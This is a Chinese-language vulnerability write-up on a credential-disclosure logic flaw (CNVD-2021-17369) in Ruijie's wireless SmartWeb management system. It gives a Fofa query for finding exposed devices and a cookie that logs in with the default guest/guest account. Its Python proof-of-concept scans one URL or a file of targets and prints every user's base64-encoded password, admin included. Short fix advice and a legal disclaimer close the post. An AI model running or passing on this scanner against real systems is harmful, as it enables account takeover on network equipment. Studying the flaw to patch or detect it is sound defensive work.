0x01 漏洞说明 锐捷无线SmartWeb管理系统存在逻辑缺陷漏洞,攻击者可从低权限用户(guest/guest)获取到管理员账号密码以及存在的用户账号密码。密码为base64编码。 0x02 影响版本
0x03 漏洞复现 Fofa搜索标题:(注意:互联网的非授权利用属于违法行为 title='无线smartWeb--登录页面' 漏洞点位于:
可获取系统所有用户的账号密码,前提需要登录,否则返回401未授权。这里就可以利用默认的guest/guest低权限账号密码进行登录访问,获取到admin权限用户账号密码。 数据包访问方式添加cookie信息: Cookie: login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302;auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest 数据包:
base64解密admin的密码: 尝试登录admin: POC: #!/usr/bin/env python # -*- conding:utf-8 -*-
import requests import urllib3 import argparse import sys urllib3.disable_warnings()
def title(): print(''' 锐捷无线SmartWeb管理系统存在逻辑缺陷漏洞 CNVD-2021-17369 use: python3 SmartWeb.py Author: Henry4E36 ''')
class information(object): def __init__(self, args): self.args = args self.url = args.url self.file = args.file
def target_url(self): target_url = self.url + '/web/xml/webuser-auth.xml' # 请求头添加默认密码:guest/guest 信息。 headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0', 'Cookie': 'login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302;auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest' } try: res = requests.get(url=target_url, headers=headers, verify=False, timeout=5) if res.status_code == 200 and 'user' in res.text: print(f'\033[31m[{chr(8730)}] 目标系统: {self.url} 存在逻辑缺陷问题!') print(f'[-] 响应为:{res.text}') else: print(f'[\033[31mx\033[0m] 目标系统: {self.url} 不存在逻辑缺陷问题!')
except Exception as e: print('[\033[31X\033[0m] 站点连接失败')
def file_url(self): with open(self.file, 'r') as urls: for url in urls: url = url.strip() if url[:4] != 'http': url = 'http://' + url self.url = url.strip() information.target_url(self)
if __name__ == '__main__': title() parser = argparse.ArgumentParser(description='锐捷无线 SmartWeb 管理系统逻辑缺陷漏洞') parser.add_argument('-u', '--url', type=str, metavar='url', help='Target url eg:\'http://127.0.0.1\'') parser.add_argument('-f', '--file', metavar='file', help='Targets in file eg:\'ip.txt\'') args = parser.parse_args() if len(sys.argv) != 3: print( '[-] 参数错误!\neg1:>>>python3 SmartWeb.py -u http://127.0.0.1\neg2:>>>python3 SmartWeb.py -f ip.txt') elif args.url: information(args).target_url() elif args.file: information(args).file_url()
运行效果展示: 0x04 修复建议 升级至最新版本,删除默认用户账号密码, 结束语 本文章仅用于交流学习,请勿使用该漏洞进行违法活动。 https://github.com/Henry4E36/SmartWeb |
|